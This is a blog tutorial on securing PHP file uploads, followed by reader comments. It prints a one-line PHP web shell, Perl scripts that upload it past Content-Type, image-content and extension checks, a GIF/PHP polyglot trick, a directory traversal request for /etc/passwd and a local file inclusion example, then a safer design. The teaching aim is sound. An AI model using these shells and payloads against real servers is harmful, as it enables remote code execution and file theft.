Secure File Upload in PHP Web Applications

Various web applications allow users to upload files. Web forums let users upload avatars. Photo galleries let users upload pictures. Social networking web sites may allow uploading pictures, videos, etc.
Providing file upload function without opening security holes proved to be quite a challenge in PHP web applications. The applications we have tested suffered from a variety of security problems, ranging from arbitrary file disclosure to remote arbitrary code execution. In this article I am going to point out various security holes occurring in file upload implementations and suggest a way to implement a secure file upload.


Naive implementation of file upload

Handling file uploads normally consists of two somewhat independent functions – accepting files from a user and displaying files to the user. Both can be a source of security problems. Let us consider the first naive implementation:

<?php
$uploaddir = 'uploads/'; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.n";
} else {
echo "File uploading failed.n";
}
?>

Users will retrieve uploaded files by surfing to http://www.domain-name.com/uploads/filename.jpg

Normally users will upload the files using a web form like the one shown below:

<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/formdata">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>

An attacker, however, does not have to use this form. He can write Perl scripts to do uploads or use an intercepting proxy to modify the submitted data to his liking.

This implementation suffers from a major security hole. upload1.php allows users to upload arbitrary files to the uploads/ directory under the web root. A malicious user can upload a PHP file, such as a PHP shell and execute arbitrary commands on the server with the privilege of the web server process.
A PHP shell is a PHP script that allows a user to run arbitrary shell commands on the server. A simple PHP shell is shown below:

<?php
system($_GET['command']);
?>

If this file is installed on a web server, anybody can execute shell commands on the server by surfing to
http://server/shell.php?command=any_Unix_shell_command.

More advanced PHP shells can be found on the Internet. Those can allow uploading and downloading arbitrary files, running SQL queries, etc.

The Perl script shown below uploads a PHP shell to the server using upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new; # UserAgent is an HTTP client
$res = $ua->request(POST 'http://localhost/upload1.php', # send POST request
Content_Type => 'form-data', # The content type is
# multipart/form-data – the standard for form-based file uploads
Content => [
userfile => ["shell.php", "shell.php"], # The body of the
# request will contain the shell.php file
],
);
print $res->as_string(); # Print out the response from the server

This script uses libwwwperl which is a handy Perl library implementing an HTTP client.

When we run the perl scripts above this is what happens on the wire.

The client request

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--

The server reply

HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

After that we can request the uploaded file, and execute shell commands on the web server:

$ curl http://localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL is a command-line HTTP client available on Unix and Windows. It is a very useful
tool for testing web applications. cURL can be downloaded from http://curl.haxx.se/

Content-type verification

Letting users run arbitrary code on the server and view arbitrary files is usually not the intention of the webmaster. Thus most application take some precautions against it. Consider the following lines of codes.

<?php
if($_FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.n";
} else {
echo "File uploading failed.n";
}
?>

In this case, if the attacker just tries to upload shell.php, the application will check the MIME type in the upload request and refuse the file as shown in HTTP request and response below:

The client request

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--

The server reply

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images

So far, so good. Unfortunately, there is a way for the attacker to bypass this protection.What the application checks is the value of the Content-type header. In the request above it is set to “text/plain”. However, nothing stops the attacker from setting it to “image/gif”.

After all, the attacker completely controls the request that is being sent. Consider perl script below:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload2.php',
Content_Type => 'form-data',
Content => [
userfile => ["shell.php", "shell.php", "Content-Type" =>
"image/gif"],
],
);
print $res->as_string();

Running this script produces the following HTTP request and response:

The Client Request

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY--

The server reply

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.
</pre>

The perl script changes the Content-type header value to image/gif, which makes upload2.php scripts happily accept the file.

Image file content verification

Instead of trusting the Content-type header a PHP developer might decide to validate the actual content of the uploaded file to make sure that it is indeed an image. The PHP getimagesize() function is often used for that. getimagesize() takes a file name as an argument and returns the size and type of the image. Consider scripts below.

<?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Sorry, we only accept GIF and JPEG imagesn";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.n";
} else {
echo "File uploading failed.n";
}
?>

Now if the attacker tries to upload shell.php even if he sets the Content-type header to “image/gif”, upload3.php won’t accept it anymore:

The Client request

POST /upload3.php HTTP/1.1
  TE: deflate,gzip;q=0.3
  Connection: TE, close
  Host: localhost
  User-Agent: libwww-perl/5.803
  Content-Type: multipart/form-data; boundary=xYzZY
  Content-Length: 155
  --xYzZY
  Content-Disposition: form-data; name="userfile"; filename="shell.php"
  Content-Type: image/gif
  <?php
  system($_GET['command']);
  ?>
  --xYzZY--

The server reply

  HTTP/1.1 200 OK
  Date: Thu, 31 May 2007 14:33:35 GMT
  Server: Apache
  X-Powered-By: PHP/4.4.4-pl6-gentoo
 Content-Length: 42
 Connection: close
 Content-Type: text/html
 Sorry, we only accept GIF and JPEG images

You would think that now the webmaster can rest assured that nobody can sneak in any file that is not a proper GIF or JPEG image. Unfortunately, this is not enough. A file can be a proper GIF or JPEG image and at the same time a valid PHP script. Most image formats allow a text comment. It is possible to create a perfectly valid image file that contains some PHP code in the comment. When getimagesize() looks at the file, it sees a proper GIF or JPEG image. When the PHP interpreter looks at the file, it sees the executable PHP code inside of some binary garbage. A file like that can be created in any image editor that supports editing GIF or JPEG comment, for example Gimp.

Consider the following perl scripts (sample.pl)

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload3.php',
Content_Type => 'form-data',
Content => [
userfile => ["insic.gif", "insic.php", "Content-Type" =>
"image/gif"],
],
);
print $res->as_string();

It takes the file insic.gif and uploads it with the name of insic.php. Running this script results in the following HTTP exchange:

The Client Request

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of
binary data ...)
--xYzZY--

The server Reply

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.
</pre>

Now the attacker can request uploads/insic.php. The PHP interpreter ignores the binary data in the beginning of the image and executes the string “<?php phpinfo(); ?>” in the GIF comment.

File name extension verification

The reader of this document might wonder why don’t we just check and enforce the file extension of the uploaded file? If we do not allow files with the .php extension, the server will not attempt to execute the file no matter what its contents are. Let us consider this approach.

We can make a black list of file extensions and check the file name specified by the user to make sure that it does not have any of the known-bad extensions:

<?php
$blacklist = array(".php", ".phtml", ".php3", ".php4");
foreach ($blacklist as $item) {
if(preg_match("/$item$/i", $_FILES['userfile']['name'])) {
echo "We do not allow uploading PHP filesn";
exit;
}
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.n";
} else {
echo "File uploading failed.n";
}
?>

The expression preg_match("/$item$/i", $_FILES['userfile']['name']) matches the file name specified by the user against the item in the blacklist. The “i” modifier make the regular expression case-insensitive. If the file name matches one of the items in the blacklist the file is not uploaded.

If we try to upload a file with the extension which is in the blacklist, it is being refused.

So, can we stop worrying now? Uhm, unfortunately, the answer is still no. What file extensions will be passed on to the PHP interpreter will depend on the server configuration. A developer often has no knowledge and no control over the configuration of the web server where his application is running. We have seen web servers configured to pass files with .html and .js extensions to PHP. Some web applications may require that files with .gif or .jpeg extensions are interpreted by PHP (this often happens when images, for example graphs and charts, are dynamically generated on the server by a PHP script).

Even if we know exactly what file extensions are interpreted by PHP now, we have no guarantee that this does not change at some point in the future, when some other application is installed on the web server. By that time everybody is bound to forget that the security of our server depends on this setting.

Particular care has to be taken with regards to writable web directories if you are running PHP on Microsoft IIS. As opposed to Apache, Microsoft IIS supports “PUT” HTTP requests, which allow users to upload files directly, without using an upload PHP page. PUT requests can be used to upload a file to the web server if the file system permissions allow IIS (which is running as IUSR_MACHINENAME) to write to the directory and if IIS permissions for the directory allow writing.

To allow uploads using a PHP script you need to change file system permissions to make the directory writable. It is very important to make sure that IIS permissions do not allow writing. Otherwise users will be able to upload arbitrary files to the server using PUT requests, bypassing any checks you might have implemented in your PHP upload script.

Indirect access to the uploaded files

The solution is to prevent the users from requesting uploaded files directly. This means either storing the files outside of the web root or creating a directory under the web root and blocking web access to it in the Apache configuration or in a .htaccess file. Consider the next example:

<?php
$uploaddir = '/var/spool/uploads/'; # Outside of web root
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.n";
} else {
echo "File uploading failed.n";
}
?>

The users cannot just surf to /uploads/ to view the uploaded files, so we need to provide an additional script for retrieving the files:

The sample scripts in viewing the file.

<?php
$uploaddir = '/var/spool/uploads/';
$name = $_GET['name'];
readfile($uploaddir.$name);
?>

The file viewing script above suffers from a directory traversal vulnerability. A malicious user can use this script to read any file readable the web server process. For example accessing view5.php as http://www.example.com/view5.php?name=../../../etc/passwd will most probably return the contents of /etc/passwd.

Local file inclusion attacks

The last implementation stores the uploaded files outside of the web root where they cannot be accessed and executed directly. Although it is reasonably secure, an attacker may have a chance to take advantage of it if the application suffers from another common flaw – local file inclusion vulnerability. Suppose we have some other page in our web application that contains the following code:

<?php
# ... some code here
if(isset($_COOKIE['lang'])) {
$lang = $_COOKIE['lang'];
} elseif (isset($_GET['lang'])) {
$lang = $_GET['lang'];
} else {
$lang = 'english';
}
include("language/$lang.php");
# ... some more code here
?>

This is a common piece of code that usually occurs in multi-language web applications. Similar code can provide different layouts depending on user preference.

This code suffers from a local file inclusion vulnerability. The attacker can make this page include any file on the file system with the .php extension, for example:

This request makes local_include.php include and execute “language/../../../../../../../../tmp/phpinfo.php” which is simply /tmp/phpinfo.php. The attacker can only execute the files that are already on the system, so his possibilities are rather
limited.

However, if the attacker is able to upload files, even outside the web root, and he knows the name and location of the uploaded file, by including his uploaded file he can run arbitrary code on the server.

Reference implementation

The solution for that is to prevent the attacker from knowing the name of the file. This can be done by randomly generating file names and keeping track of them in a database. Consider the code below.

File Upload Script:

<?php
require_once 'DB.php'; # We are using PEAR::DB module
$uploaddir = '/var/spool/uploads/'; # Outside of web root
$uploadfile = tempnam($uploaddir, "upload_");
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
# Saving information about this file in the DB
$db =& DB::connect("mysql://username:password@localhost/database");
if(PEAR::isError($db)) {
unlink($uploadfile);
die "Error connecting to the database";
}
$res = $db->query("INSERT INTO uploads SET name=?, original_name=?,
mime_type=?",
array(basename($uploadfile,
basename($_FILES['userfile']['name']),
$_FILES['userfile']['type']));
if(PEAR::isError($res)) {
unlink($uploadfile);
die "Error saving data to the database. The file was not uploaded";
}
$id = $db->getOne('SELECT LAST_INSERT_ID() FROM uploads'); # MySQL specific
echo "File is valid, and was successfully uploaded. You can view it <a
href="view6.php?id=$id">here</a>n";
} else {
echo "File uploading failed.n";
}
?>

Viewing uploaded file:

<?php
require_once 'DB.php';
$uploaddir = '/var/spool/uploads/';
$id = $_GET['id'];
if(!is_numeric($id)) {
die("File id must be numeric");
}
$db =& DB::connect("mysql://root@localhost/db");
if(PEAR::isError($db)) {
die("Error connecting to the database");
}
$file = $db->getRow('SELECT name, mime_type FROM uploads WHERE id=?',
array($id), DB_FETCHMODE_ASSOC);
if(PEAR::isError($file)) {
die("Error fetching data from the database");
}
if(is_null($file) || count($file)==0) {
die("File not found");
}
header("Content-Type: " . $file['mime_type']);
readfile($uploaddir.$file['name']);
?>

Now the uploaded files cannot be requested and executed directly (because they are stored outside of web root). They cannot be used in local file inclusion attacks, because the attacker has no way of knowing the name of his file used on the file system. The viewing part fixes the directory traversal problem, because the files are referred to by a numeric index in the database, not any part of the file name. I would also like to point out the use of the PEAR::DB module and prepared statements for SQL queries. The SQL statement uses question marks as placeholders for the query parameters. When the data received from the user is passed into the query, the values are automatically quoted,
preventing SQL injection problems.

An alternative to storing files on the file system is keeping file data directly in the database as a BLOB. This approach has the advantage that everything related to the application is stored either under the web root or in the database. This approach probably wouldn’t be a good solution for large files or if the performance is critical.

Related Post

If you enjoyed this post, please consider to leave a comment or subscribe to the feed and get future articles delivered to your feed reader.

Comments
  1. Wardell

    12 Jan 2009 at 9:53 am

    Great Tips! I think content and extension verification are probably two of the most important.

  2. Jhay

    13 Jan 2009 at 4:39 am

    Thanks for the great tips! :)

  3. centaur

    16 Jan 2009 at 5:13 am

    All important (as I know) approaches covered in one article.
    Very nice

  4. Swapnil Sarwe

    17 Jan 2009 at 2:11 am

    Very nice article. Thinking of making a not of it and put it into one good library, for the projects.

    Thanx a lot.

  5. webtuto

    17 Jan 2009 at 10:42 am

    that was great gee , i love it

    tryo to do video tutorials :d

  6. Timothy

    21 Jan 2009 at 5:36 pm

    Nice tutorial. Keep it up

  7. TravelingPerson

    22 Jan 2009 at 3:11 pm

    Damn, I thought all the PHP/Perl code snippets were images you screenshotted from elsewhere, but you wrote all those yourself just for this blog? Yikes, you know your stuff.

  8. Adam Schwartz

    29 Jan 2009 at 9:25 pm

    Great post. Very thorough and very useful.

    Though I’m curious about this example from your post.

    <?php

    $uploaddir = ‘/var/spool/uploads/’;

    $name = $_GET['name'];

    readfile($uploaddir.$name);

    ?>
    Forgive my ignorance, but are you suggesting that

    readfile(’/var/spool/uploads/../../../etc/passwd’)

    and

    readfile(’../../../etc/passwd’)

    would read the same file? I guess I’m saying, I always assumed that using ellipses in the middle of a nested folder sequence would evaluate as an error or something. No?

  9. Adnan

    29 Jan 2009 at 10:59 pm

    Nice tips. But one thing I wanna add. If the file name contains any special characters, for example !@#$%^&*()’”.jpg this will cause a lot of problems. If the uploaded image is kept with this name lightbox and many other javascript function won’t work. So you must remove the special characters from file name.

    Thanks

  10. Bill

    11 Feb 2009 at 9:51 pm

    Nice tutorial :) I would suggest using exif_imagetype() to verify image type instead but you have a nice approach to everything. Look forwards to seeing more from you.

    Take care :)

  11. Janckos

    02 Mar 2009 at 11:54 am

    Muy buen tutorial, gracias!.

  12. inf3rno

    15 Apr 2009 at 10:00 am

    Nice article!
    Probably if you put the content of the file to the database, then you dont need the original name, and filesystem access.

  13. nazim

    18 Apr 2009 at 8:23 am

    how can file upload in user admin panel in php ?

  14. Dimas

    01 Jul 2009 at 7:21 pm

    Very thorough tutorial and excellent points about security.

Leave a comment

(required)

(required)